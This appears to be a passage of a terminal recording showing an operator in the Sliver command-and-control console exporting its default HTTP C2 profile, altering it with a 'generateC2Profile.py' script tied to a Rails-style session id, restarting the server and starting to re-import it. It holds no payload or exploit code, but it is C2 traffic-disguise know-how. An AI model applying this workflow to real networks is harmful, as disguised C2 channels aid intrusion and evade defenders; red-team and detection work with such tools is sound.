[12.949837, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.950132, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[9C\u001b[272D\u001b[39C\u001b[?25h"]
|
||||
[13.136808, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.154631, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[13.155923, "o", "\u001b[40D\u001b[9C\u001b[272D\u001b[40C\u001b[?25h"]
|
||||
[13.337861, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.356646, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[41D\u001b[9C\u001b[272D\u001b[41C\u001b[?25h"]
|
||||
[13.470467, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.485656, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.488122, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[42D\u001b[9C\u001b[272D\u001b[42C\u001b[?25h"]
|
||||
[13.56382, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.568935, "o", "\u001b[6n"]
|
||||
[13.576791, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.577042, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[43D\u001b[9C\u001b[272D\u001b[43C\u001b[?25h"]
|
||||
[13.697149, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.715325, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[44D"]
|
||||
[13.716648, "o", "\u001b[9C\u001b[272D\u001b[44C\u001b[?25h"]
|
||||
[13.760933, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.762775, "o", "\u001b[6n"]
|
||||
[13.771378, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.773973, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[45D\u001b[9C\u001b[272D\u001b[45C\u001b[?25h"]
|
||||
[13.824571, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.825891, "o", "\u001b[6n"]
|
||||
[13.834916, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[46D\u001b[9C"]
|
||||
[13.836196, "o", "\u001b[272D\u001b[46C\u001b[?25h"]
|
||||
[13.921852, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[13.934932, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mexport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.93566, "o", "\u001b[272D\u001b[1A\u001b[47D\u001b[9C\u001b[272D\u001b[47C\u001b[?25h"]
|
||||
[14.916087, "o", "\u001b[47D\u001b[9C\u001b[6n"]
|
||||
[14.938174, "o", "\u001b[272D\u001b[47C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[14.945767, "o", "\u001b[0 q\r\n"]
|
||||
[14.96874, "o", "\u001b7"]
|
||||
[14.968932, "o", "\u001b[?25l"]
|
||||
[14.969801, "o", "\u001b8\u001b[0G\u001b[2K"]
|
||||
[14.978986, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> default\u001b[0m\r\n\u001b[0;39m ruby\u001b[0m\r\n"]
|
||||
[14.979738, "o", "\u001b7"]
|
||||
[14.983027, "o", "\u001b[1A"]
|
||||
[14.983154, "o", "\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[15.557864, "o", "\u001b8\u001b[?25h\u001b8"]
|
||||
[15.558923, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[15.559016, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m\u001b[0;36m default\u001b[0m\r\n"]
|
||||
[15.605808, "o", "defaultC2 profile exported to default_c2profile\r\n\r\n"]
|
||||
[15.616357, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.616489, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[15.616952, "o", "\u001b[6n"]
|
||||
[15.619739, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[16.802261, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[16.818936, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.819924, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[17.029573, "o", "\u001b[?25l"]
|
||||
[17.032519, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.041941, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[17.042239, "o", "\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[17.202384, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[17.221738, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[17.387826, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[17.393474, "o", "\u001b[6n"]
|
||||
[17.403537, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[17.626637, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[17.642436, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[17.646867, "o", "\u001b[0 q\r\n"]
|
||||
[17.660633, "o", "Exiting...\r\n"]
|
||||
[17.682692, "o", "# "]
|
||||
[22.445159, "o", "python3 generateC2Profile.py default_c2profile ror _session_id"]
|
||||
[25.608935, "o", "\r\n"]
|
||||
[25.851413, "o", "C2 Profile updated !\r\n"]
|
||||
[25.865598, "o", "# "]
|
||||
[28.138618, "o", "."]
|
||||
[28.237052, "o", "/"]
|
||||
[28.503577, "o", "s"]
|
||||
[28.591085, "o", "l"]
|
||||
[28.642169, "o", "i"]
|
||||
[28.769198, "o", "v"]
|
||||
[28.886529, "o", "e"]
|
||||
[29.031073, "o", "r"]
|
||||
[29.250302, "o", "-"]
|
||||
[29.411579, "o", "s"]
|
||||
[29.455372, "o", "e"]
|
||||
[29.5209, "o", "r"]
|
||||
[29.745856, "o", "v"]
|
||||
[29.863682, "o", "e"]
|
||||
[29.949355, "o", "r"]
|
||||
[30.06486, "o", "\r\n"]
|
||||
[31.221878, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\n"]
|
||||
[31.225435, "o", "All hackers gain indestructible\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[31.25069, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[31.252324, "o", "\u001b[1 q"]
|
||||
[31.254311, "o", "\u001b[?25l"]
|
||||
[31.255494, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.258725, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[31.259539, "o", "\r\r\n"]
|
||||
[31.260445, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[31.828318, "o", "\u001b[?25l"]
|
||||
[31.831247, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.848297, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C"]
|
||||
[31.848681, "o", "\u001b[?25h"]
|
||||
[32.026532, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.03955, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[32.233435, "o", "\u001b[?25l\u001b[272D"]
|
||||
[32.236205, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.248591, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[32.250298, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[32.36383, "o", "\u001b[?25l"]
|
||||
[32.369252, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.389164, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[32.390349, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[32.444907, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[32.447494, "o", "\u001b[6n"]
|
||||
[32.454331, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[32.456411, "o", "\u001b[272D\u001b[1A\u001b[14D\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
|
||||
[32.603502, "o", "\u001b[?25l"]
|
||||
[32.612524, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.621382, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[32.623513, "o", "\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D\u001b[15C\u001b[?25h"]
|
||||
[32.676813, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[32.678606, "o", "\u001b[6n"]
|
||||
[32.685147, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[32.685369, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
|
||||
[32.76993, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.786995, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[32.787801, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
|
||||
[32.837751, "o", "\u001b[?25l"]
|
||||
[32.838328, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.847406, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[32.849497, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
|
||||
[32.879614, "o", "\u001b[?25l\u001b[272D"]
|
||||
[32.880209, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.886002, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
|
||||
[33.018785, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.039192, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.039837, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[20D\u001b[9C\u001b[272D\u001b[20C\u001b[?25h"]
|
||||
[33.399545, "o", "\u001b[?25l"]
|
||||
[33.410284, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.424596, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[33.425546, "o", "\u001b[1A\u001b[21D\u001b[9C\u001b[272D\u001b[21C\u001b[?25h"]
|
||||
[33.492157, "o", "\u001b[?25l"]
|
||||
[33.4954, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.501657, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mim\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.503608, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[22D\u001b[9C\u001b[272D\u001b[22C\u001b[?25h"]
|
||||
[33.656374, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.678317, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[23D\u001b[9C\u001b[272D\u001b[23C\u001b[?25h"]
|
||||
[33.715316, "o", "\u001b[?25l"]
|
||||
[33.717377, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.725518, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimpo\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.726923, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[24D\u001b[9C\u001b[272D\u001b[24C\u001b[?25h"]
|
||||
[33.840438, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.854711, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimpor\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[33.855398, "o", "\u001b[272D\u001b[1A\u001b[25D\u001b[9C\u001b[272D\u001b[25C\u001b[?25h"]
|
||||
[33.935524, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[33.942502, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.945125, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[26D\u001b[9C\u001b[272D\u001b[26C\u001b[?25h"]
|
||||
[34.014432, "o", "\u001b[?25l\u001b[272D"]
|
||||
[34.018536, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.027, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[27D"]
|
||||
[34.027665, "o", "\u001b[9C\u001b[272D\u001b[27C\u001b[?25h"]
|
||||
[34.558606, "o", "\u001b[?25l"]
|
||||
[34.560369, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.568695, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[34.569739, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
|
||||
[34.805492, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[34.818651, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
|
||||
[35.080587, "o", "\u001b[29D\u001b[9C"]
|
||||
[35.085609, "o", "\u001b[6n"]
|
||||
[35.096589, "o", "\u001b[272D"]
|
||||
[35.09685, "o", "\u001b[29C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[35.103594, "o", "\u001b[0 q"]
|
||||
[35.107707, "o", "\r\n"]
|
||||
[35.12822, "o", "Import HTTP C2 profile\r\n\r\n"]
|
||||
[35.136333, "o", "Usage:\r\n c2profiles import [flags]\r\n\r\nFlags:\r\n -f, --file string Path to C2 configuration file to import\r\n -h, --help help for import\r\n -n, --name string HTTP C2 Profile name (default \"default\")\r\n -o, --overwrite Overwrite profile if it exists\r\n"]
|
||||
[35.137237, "o", "\r\n"]
|
||||
[35.14667, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[35.147151, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.149729, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[35.551746, "o", "\u001b[?25l"]
|
||||
[35.55409, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[35.561774, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[35.562346, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
|
||||
[36.39638, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.412781, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[36.415352, "o", "\u001b[272D\u001b[1A\u001b[28D\u001b[9C\u001b[272D\u001b[28C\u001b[?25h"]
|
||||
[36.679571, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.689876, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[36.692777, "o", "\u001b[1A\u001b[29D\u001b[9C\u001b[272D\u001b[29C\u001b[?25h"]
|
||||
[36.787773, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[36.80321, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D"]
|
||||
[36.805388, "o", "\u001b[9C\u001b[272D\u001b[30C\u001b[?25h"]
|
||||
[37.045357, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.055753, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22md\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[37.056147, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[31D\u001b[9C\u001b[272D\u001b[31C\u001b[?25h"]
|
||||
[37.092415, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.092771, "o", "\u001b[6n"]
|
||||
[37.100319, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mde\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
|
||||
[37.104532, "o", "\u001b[32D\u001b[9C\u001b[272D\u001b[32C\u001b[?25h"]
|
||||
[37.221831, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.242747, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdef\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.243834, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[9C\u001b[272D\u001b[33C\u001b[?25h"]
|
||||
[37.33546, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.349443, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[34D"]
|
||||
[37.350242, "o", "\u001b[9C\u001b[272D\u001b[34C\u001b[?25h"]
|
||||
[37.410583, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.416881, "o", "\u001b[6n"]
|
||||
[37.428427, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefau\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[37.428609, "o", "\u001b[1A\u001b[35D\u001b[9C\u001b[272D\u001b[35C\u001b[?25h"]
|
||||
[37.462408, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.463469, "o", "\u001b[6n"]
|
||||
[37.467562, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefaul\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[37.468823, "o", "\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[9C\u001b[272D\u001b[36C\u001b[?25h"]
|
||||
[37.59543, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.60619, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.609401, "o", "\u001b[272D\u001b[1A\u001b[37D\u001b[9C\u001b[272D\u001b[37C\u001b[?25h"]
|
||||
[37.914869, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[37.937955, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.939934, "o", "\u001b[272D\u001b[1A\u001b[38D\u001b[9C\u001b[272D\u001b[38C\u001b[?25h"]
|
||||
[38.222001, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.234905, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[38.235707, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[9C\u001b[272D\u001b[39C\u001b[?25h"]
|
||||
[38.400472, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.41496, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.415386, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[40D\u001b[9C\u001b[272D\u001b[40C\u001b[?25h"]
|
||||
[38.574407, "o", "\u001b[?25l"]
|
||||
[38.575144, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.58185, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
|
||||
[38.583772, "o", "\u001b[1A\u001b[41D\u001b[9C\u001b[272D\u001b[41C\u001b[?25h"]
|
||||
[38.668223, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.679539, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.68028, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[42D\u001b[9C\u001b[272D\u001b[42C\u001b[?25h"]
|
||||
[38.77467, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
